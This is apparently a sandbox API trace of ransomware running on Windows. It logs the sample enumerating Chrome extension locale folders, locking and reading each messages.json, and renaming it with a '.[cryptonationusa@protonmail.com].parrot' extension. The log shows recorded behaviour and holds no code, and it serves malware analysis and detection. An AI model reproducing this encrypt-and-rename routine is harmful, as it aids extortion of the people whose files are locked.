1 [0072.654] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x269, lpOverlapped=0x0) returned 1 [0072.655] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.656] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x381, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.656] CloseHandle (hObject=0x28c) returned 1 [0072.656] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.660] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.660] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ca13a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ca13a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.661] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ca13a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.662] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.662] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.662] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.662] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.662] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8275c060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.663] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x386, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.663] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.663] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.669] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.669] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x26e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x26e, lpOverlapped=0x0) returned 1 [0072.669] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.670] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x386, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.670] CloseHandle (hObject=0x28c) returned 1 [0072.670] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.673] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.673] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8cc7500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8275c060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.674] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.674] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.674] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82765ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.675] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x422, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.675] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.675] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.676] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.676] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x30a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x30a, lpOverlapped=0x0) returned 1 [0072.677] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.677] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x422, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.677] CloseHandle (hObject=0x28c) returned 1 [0072.678] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.680] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8cc7500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.682] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82765ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.682] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.682] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.682] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8276f8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.683] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.683] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.683] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.685] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.685] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29d, lpOverlapped=0x0) returned 1 [0072.686] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.686] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.686] CloseHandle (hObject=0x28c) returned 1 [0072.686] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.689] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ced660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ced660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.690] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8276f8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ced660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.690] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.690] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.690] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.690] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82779520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.691] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.691] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.691] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.697] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.697] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2ae, lpOverlapped=0x0) returned 1 [0072.698] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.698] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.698] CloseHandle (hObject=0x28c) returned 1 [0072.698] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.704] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.704] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d137c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.705] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82779520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.705] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.705] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.705] lstrcmpW (lpString1="..", lpString2=".") returned 1 